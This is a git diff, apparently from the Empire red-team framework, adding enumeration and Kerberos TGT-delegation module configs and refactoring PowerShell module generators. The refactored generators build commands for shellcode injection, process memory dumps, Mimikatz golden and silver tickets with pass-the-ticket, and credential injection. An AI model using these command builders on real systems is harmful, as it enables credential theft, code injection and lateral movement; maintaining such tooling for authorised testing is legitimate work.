+authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List reachable computers in the current domain. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/netview/netview.x86.o + x64: bof/situational_awareness/netview/netview.x64.o + entry_point: '' +script_path: '' +script_end: '' \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/probe.yaml b/empire/server/modules/bof/situational_awareness/probe.yaml new file mode 100644 index 000000000..b35222caf --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/probe.yaml @@ -0,0 +1,43 @@ +name: probe +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Check if a specific port is open on a host. +software: '' +tactics: [] +techniques: + - T1046 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Host + description: Host to probe. + required: true + value: '' + format: z + - name: Port + description: Port to probe. + required: true + value: '' + format: i +bof: + x86: bof/situational_awareness/probe/probe.x86.o + x64: bof/situational_awareness/probe/probe.x64.o + entry_point: '' +script_path: '' +script_end: '' \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/resources.yaml b/empire/server/modules/bof/situational_awareness/resources.yaml new file mode 100644 index 000000000..5503eaf7e --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/resources.yaml @@ -0,0 +1,32 @@ +name: resources +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List memory usage and available disk space on the primary hard drive. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/resources/resources.x86.o + x64: bof/situational_awareness/resources/resources.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/routeprint.yaml b/empire/server/modules/bof/situational_awareness/routeprint.yaml new file mode 100644 index 000000000..2a092ca7e --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/routeprint.yaml @@ -0,0 +1,33 @@ +name: routeprint +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List IPv4 routes. +software: '' +tactics: [] +techniques: + - T1016 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/routeprint/routeprint.x86.o + x64: bof/situational_awareness/routeprint/routeprint.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/schtasksenum.yaml b/empire/server/modules/bof/situational_awareness/schtasksenum.yaml new file mode 100644 index 000000000..bd42d3401 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/schtasksenum.yaml @@ -0,0 +1,37 @@ +name: schtasksenum +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Enumerate scheduled tasks on the local or remote computer +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Server + description: Computer to enumerate scheduled tasks on + required: false + value: '' + format: z +bof: + x86: bof/situational_awareness/schtasksenum/schtasksenum.x86.o + x64: bof/situational_awareness/schtasksenum/schtasksenum.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/schtasksquery.yaml b/empire/server/modules/bof/situational_awareness/schtasksquery.yaml new file mode 100644 index 000000000..ab741ec8f --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/schtasksquery.yaml @@ -0,0 +1,42 @@ +name: schtasksquery +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Query the given task on the local or remote computer +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Server + description: Computer to enumerate scheduled tasks on. + required: false + value: '' + format: Z + - name: Task Path + description: Task path to query. + required: true + value: '\\Microsoft\\Windows\\MUI\\LpRemove' + format: Z +bof: + x86: bof/situational_awareness/schtasksquery/schtasksquery.x86.o + x64: bof/situational_awareness/schtasksquery/schtasksquery.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/tasklist.yaml b/empire/server/modules/bof/situational_awareness/tasklist.yaml new file mode 100644 index 000000000..3d647f1e9 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/tasklist.yaml @@ -0,0 +1,38 @@ +name: Tasklist +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List running processes including PID, PPID, and ComandLine (uses wmi). +software: '' +tactics: [] +techniques: + - T1057 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Server + description: Computer to query for processes. + required: false + value: '' + format: Z +bof: + x86: bof/situational_awareness/tasklist/tasklist.x86.o + x64: bof/situational_awareness/tasklist/tasklist.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/uptime.yaml b/empire/server/modules/bof/situational_awareness/uptime.yaml new file mode 100644 index 000000000..947ae5a3b --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/uptime.yaml @@ -0,0 +1,33 @@ +name: uptime +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List system boot time and how long it has been running. +software: '' +tactics: [] +techniques: + - T1082 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/uptime/uptime.x86.o + x64: bof/situational_awareness/uptime/uptime.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/whoami.yaml b/empire/server/modules/bof/situational_awareness/whoami.yaml new file mode 100644 index 000000000..a7b85ebe1 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/whoami.yaml @@ -0,0 +1,32 @@ +name: Tasklist +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List whoami /all +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/whoami/whoami.x86.o + x64: bof/situational_awareness/whoami/whoami.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/windowlist.py b/empire/server/modules/bof/situational_awareness/windowlist.py new file mode 100644 index 000000000..5248f87c1 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/windowlist.py @@ -0,0 +1,21 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + all = "1" if params["All"] else "0" + + script_end += f" -i:{all}" + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/situational_awareness/windowlist.yaml b/empire/server/modules/bof/situational_awareness/windowlist.yaml new file mode 100644 index 000000000..cb5e1643e --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/windowlist.yaml @@ -0,0 +1,43 @@ +name: windowlist +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List visible windows in the current user session. +software: '' +tactics: [] +techniques: + - T1010 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: All + description: Optionally specify "all" as an argument to see every possible window. + required: true + value: false + strict: true + suggested_values: + - true + - false +bof: + x86: bof/situational_awareness/windowlist/windowlist.x86.o + x64: bof/situational_awareness/windowlist/windowlist.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/wmi_query.py b/empire/server/modules/bof/situational_awareness/wmi_query.py new file mode 100644 index 000000000..9cfb6827e --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/wmi_query.py @@ -0,0 +1,21 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + resource = f"\\\\{params['System']}\\{params['Namespace']}" + + script_end += f" -Z:{params['System']} -Z:{params['Namespace']} -Z:{params['Query']} -Z:{resource}" + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/situational_awareness/wmi_query.yaml b/empire/server/modules/bof/situational_awareness/wmi_query.yaml new file mode 100644 index 000000000..ca397ca29 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/wmi_query.yaml @@ -0,0 +1,47 @@ +name: wmi_query +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Run a wmi query and display results in CSV format. +software: '' +tactics: [] +techniques: + - T1047 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Query + description: WMI Query to run. + required: true + value: '' + - name: System + description: Specifies the remote system to connect to. + required: false + value: '.' + - name: Namespace + description: Specifies the namespace to connect to. + required: false + value: 'root\\cimv2' +bof: + x86: bof/situational_awareness/wmi_query/wmi_query.x86.o + x64: bof/situational_awareness/wmi_query/wmi_query.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/tgtdelegation.py b/empire/server/modules/bof/tgtdelegation.py new file mode 100644 index 000000000..7c9eaefa1 --- /dev/null +++ b/empire/server/modules/bof/tgtdelegation.py @@ -0,0 +1,22 @@ +import random + +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + nonce = random.randint(1000, 10000) + script_end += f" -i:{nonce} -Z:{params['domain']} -Z:{params['SPN']}" + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/tgtdelegation.yaml b/empire/server/modules/bof/tgtdelegation.yaml new file mode 100644 index 000000000..4ce8619ad --- /dev/null +++ b/empire/server/modules/bof/tgtdelegation.yaml @@ -0,0 +1,34 @@ +name: tgtdelegation +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Beacon Object File (BOF) to obtain a usable TGT for the current user and does not require elevated privileges on the host. This data blob is passed to tgtParse.py/tgtParse.exe ("custom" Impacket scripts to decrypt/parse the Kerberos data blobs) and ticketConverter.py/ticketConverter.exe automatically, via tgtdelegation.cna, to be leveraged as a usable .ccache and/or .kirbi for lateral movement with Impacket, Rubeus, and other supported tools over Kerberos. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/connormcgarr/tgtdelegation +options: + - name: domain + description: Specify the domain to use. + required: true + value: 'currentdomain' + - name: SPN + description: Specify the SPN to use. + required: true + value: 'default' +bof: + x86: bof/tgtdelegation/tgtdelegation.x86.o + x64: bof/tgtdelegation/tgtdelegation.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true diff --git a/empire/server/modules/csharp/Assembly.Covenant.py b/empire/server/modules/csharp/Assembly.Covenant.py index 5de5d7e71..9939d868e 100755 --- a/empire/server/modules/csharp/Assembly.Covenant.py +++ b/empire/server/modules/csharp/Assembly.Covenant.py @@ -16,7 +16,7 @@ def generate( base64_assembly = params["File"].get_base64_file() compiler = main_menu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict diff --git a/empire/server/modules/csharp/AssemblyReflect.Covenant.py b/empire/server/modules/csharp/AssemblyReflect.Covenant.py index a6d85ff24..cddda2b06 100755 --- a/empire/server/modules/csharp/AssemblyReflect.Covenant.py +++ b/empire/server/modules/csharp/AssemblyReflect.Covenant.py @@ -16,7 +16,7 @@ def generate( base64_assembly = params["File"].get_base64_file() compiler = main_menu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict diff --git a/empire/server/modules/csharp/Inject_BOF.Covenant.py b/empire/server/modules/csharp/Inject_BOF.Covenant.py index a0bbf1da9..6ebc6cd83 100644 --- a/empire/server/modules/csharp/Inject_BOF.Covenant.py +++ b/empire/server/modules/csharp/Inject_BOF.Covenant.py @@ -16,7 +16,7 @@ def generate( b64_bof_data = params["File"].get_base64_file() compiler = main_menu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict @@ -54,10 +54,7 @@ def generate( + file_name + ".compiled" ) - if params["File"] != "": - script_end = f",-a:{b64_bof_data}" - else: - script_end = "," + script_end = f",-a:{b64_bof_data}" if params["File"] != "" else "," if params["EntryPoint"] != "": script_end += f" -e:{params['EntryPoint']}" diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.py b/empire/server/modules/csharp/ProcessInjection.Covenant.py index 2e55ab92d..ed73f0dc7 100644 --- a/empire/server/modules/csharp/ProcessInjection.Covenant.py +++ b/empire/server/modules/csharp/ProcessInjection.Covenant.py @@ -86,7 +86,7 @@ def generate( base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8") compiler = main_menu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict diff --git a/empire/server/modules/csharp/Shellcode.Covenant.py b/empire/server/modules/csharp/Shellcode.Covenant.py index ad744266a..eaaaea4f7 100755 --- a/empire/server/modules/csharp/Shellcode.Covenant.py +++ b/empire/server/modules/csharp/Shellcode.Covenant.py @@ -19,7 +19,7 @@ def generate( return None, f"Failed to get base64 encoded shellcode: {e}" compiler = main_menu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py index ee9761860..6fb27e121 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py @@ -32,9 +32,8 @@ def generate( if option.lower() == "file": if values != "": try: - f = open(values, "rb") - dllbytes = f.read() - f.close() + with open(values, "rb") as f: + dllbytes = f.read() base64bytes = base64.b64encode(dllbytes).decode("UTF-8") diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py index 86d8072f5..fc2c7cb14 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py @@ -23,18 +23,22 @@ def generate( script_end = "\nInvoke-Shellcode -Force" for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "listener": - if values and values != "": - if option.lower() == "shellcode": - # transform the shellcode to the correct format - sc = ",0".join(values.split("\\"))[0:] - script_end += " -" + str(option) + " @(" + sc + ")" - elif option.lower() == "file": - data = base64.b64decode(params["File"].get_base64_file()) - sc = ",".join([f"0x{byte:02x}" for byte in data]) - script_end += f" -shellcode @({sc[:-1]})" - else: - script_end += " -" + str(option) + " " + str(values) + if ( + option.lower() != "agent" + and option.lower() != "listener" + and values + and values != "" + ): + if option.lower() == "shellcode": + # transform the shellcode to the correct format + sc = ",0".join(values.split("\\"))[0:] + script_end += " -" + str(option) + " @(" + sc + ")" + elif option.lower() == "file": + data = base64.b64decode(params["File"].get_base64_file()) + sc = ",".join([f"0x{byte:02x}" for byte in data]) + script_end += f" -shellcode @({sc[:-1]})" + else: + script_end += " -" + str(option) + " " + str(values) script_end += "; 'Shellcode injected.'" diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py index 71264b052..17fdd94da 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py @@ -25,12 +25,15 @@ def generate( script_end = "Invoke-ShellcodeMSIL" for option, values in params.items(): - if option.lower() != "agent": - if values and values != "": - if option.lower() == "shellcode": - # transform the shellcode to the correct format - sc = ",0".join(values.split("\\"))[1:] - script_end += " -" + str(option) + " @(" + sc + ")" + if ( + option.lower() != "agent" + and values + and values != "" + and option.lower() == "shellcode" + ): + # transform the shellcode to the correct format + sc = ",0".join(values.split("\\"))[1:] + script_end += " -" + str(option) + " @(" + sc + ")" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/collection/SharpChromium.py b/empire/server/modules/powershell/collection/SharpChromium.py index 1c9fdc737..f44a37260 100644 --- a/empire/server/modules/powershell/collection/SharpChromium.py +++ b/empire/server/modules/powershell/collection/SharpChromium.py @@ -2,30 +2,23 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source log = logging.getLogger(__name__) class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = " Get-SharpChromium" # check type @@ -52,10 +45,4 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + return script, script_end diff --git a/empire/server/modules/powershell/collection/WireTap.py b/empire/server/modules/powershell/collection/WireTap.py index e6e33fd99..be469b433 100644 --- a/empire/server/modules/powershell/collection/WireTap.py +++ b/empire/server/modules/powershell/collection/WireTap.py @@ -1,47 +1,34 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = 'Invoke-WireTap -Command "' # Add any arguments to the end execution of the script for option, values in params.items(): - if option.lower() != "agent": - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += str(option) - elif option.lower() == "time": - # if we're just adding a switch - script_end += " " + str(values) - else: - script_end += " " + str(option) + " " + str(values) + if option.lower() != "agent" and values and values != "": + if values.lower() == "true": + # if we're just adding a switch + script_end += str(option) + elif option.lower() == "time": + # if we're just adding a switch + script_end += " " + str(values) + else: + script_end += " " + str(option) + " " + str(values) + script_end += '"' - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + return script, script_end diff --git a/empire/server/modules/powershell/collection/minidump.py b/empire/server/modules/powershell/collection/minidump.py index 0a38e6a2a..1fe6e5819 100644 --- a/empire/server/modules/powershell/collection/minidump.py +++ b/empire/server/modules/powershell/collection/minidump.py @@ -1,49 +1,38 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "" for option, values in params.items(): - if option.lower() != "agent": - if values and values != "": - if option == "ProcessName": - script_end = "Get-Process " + values + " | Out-Minidump" - elif option == "ProcessId": - script_end = "Get-Process -Id " + values + " | Out-Minidump" + if option.lower() != "agent" and values and values != "": + if option == "ProcessName": + script_end = "Get-Process " + values + " | Out-Minidump" + elif option == "ProcessId": + script_end = "Get-Process -Id " + values + " | Out-Minidump" for option, values in params.items(): - if values and values != "": - if ( + if ( + values + and values != "" + and ( option != "Agent" and option != "ProcessName" and option != "ProcessId" - ): - script_end += " -" + str(option) + " " + str(values) + ) + ): + script_end += " -" + str(option) + " " + str(values) - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + return script, script_end diff --git a/empire/server/modules/powershell/collection/screenshot.py b/empire/server/modules/powershell/collection/screenshot.py index b0dbd719a..646b880bb 100644 --- a/empire/server/modules/powershell/collection/screenshot.py +++ b/empire/server/modules/powershell/collection/screenshot.py @@ -33,13 +33,12 @@ def generate( script_end = "\nGet-Screenshot" for option, values in params.items(): - if option.lower() != "agent": - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if option.lower() != "agent" and values and values != "": + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/credentials/credential_injection.py b/empire/server/modules/powershell/credentials/credential_injection.py index 6e0e2cad3..49020c97d 100644 --- a/empire/server/modules/powershell/credentials/credential_injection.py +++ b/empire/server/modules/powershell/credentials/credential_injection.py @@ -1,33 +1,27 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "Invoke-CredentialInjection" if params["NewWinLogon"] == "" and params["ExistingWinLogon"] == "": - return handle_error_message( - "[!] Either NewWinLogon or ExistingWinLogon must be specified" + raise ModuleValidationException( + "Either NewWinLogon or ExistingWinLogon must be specified" ) # if a credential ID is specified, try to parse @@ -37,11 +31,11 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid") if cred.credtype != "plaintext": - return handle_error_message( - "[!] A CredID with a plaintext password must be used!" + raise ModuleValidationException( + "CredID must be a plaintext credential" ) if cred.domain != "": @@ -56,23 +50,21 @@ def generate( or params["UserName"] == "" or params["Password"] == "" ): - return handle_error_message( - "[!] DomainName/UserName/Password or CredID required!" + raise ModuleValidationException( + "DomainName/UserName/Password or CredID required" ) for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "credid": - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if ( + option.lower() != "agent" + and option.lower() != "credid" + and values + and values != "" + ): + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + return script, script_end diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py index c2d5c08e7..83a166849 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py @@ -53,9 +53,13 @@ def generate( script_end = "Invoke-Mimikatz -Command '\"kerberos::golden" for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "credid": - if values and values != "": - script_end += " /" + str(option) + ":" + str(values) + if ( + option.lower() != "agent" + and option.lower() != "credid" + and values + and values != "" + ): + script_end += " /" + str(option) + ":" + str(values) script_end += " /ptt\"'" diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py index b28cefe90..7d9250ab8 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py @@ -60,9 +60,13 @@ def generate( script_end = "Invoke-Mimikatz -Command '\"kerberos::golden" for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "credid": - if values and values != "": - script_end += " /" + str(option) + ":" + str(values) + if ( + option.lower() != "agent" + and option.lower() != "credid" + and values + and values != "" + ): + script_end += " /" + str(option) + ":" + str(values) script_end += " /ptt\"'" diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py index 82995d5af..8e61487d2 100644 --- a/empire/server/modules/powershell/credentials/tokens.py +++ b/empire/server/modules/powershell/credentials/tokens.py @@ -40,13 +40,17 @@ def generate( ) else: for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "outputfunction": - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if ( + option.lower() != "agent" + and option.lower() != "outputfunction" + and values + and values != "" + ): + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) # try to make the output look nice if script.endswith("Invoke-TokenManipulation") or script.endswith( diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index 8d1c977fe..51e668d88 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -18,10 +18,7 @@ def generate( proxy = params["Proxy_"] proxyCreds = params["ProxyCreds"] command = params["Command"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # read in the common module source code @@ -64,23 +61,26 @@ def generate( for option, values in params.items(): if ( - option.lower() != "agent" - and option.lower() != "listener" - and option.lower() != "useragent" - and option.lower() != "proxy_" - and option.lower() != "proxycreds" - and option.lower() != "command" + ( + option.lower() != "agent" + and option.lower() != "listener" + and option.lower() != "useragent" + and option.lower() != "proxy_" + and option.lower() != "proxycreds" + and option.lower() != "command" + ) + and values + and values != "" ): - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) + if 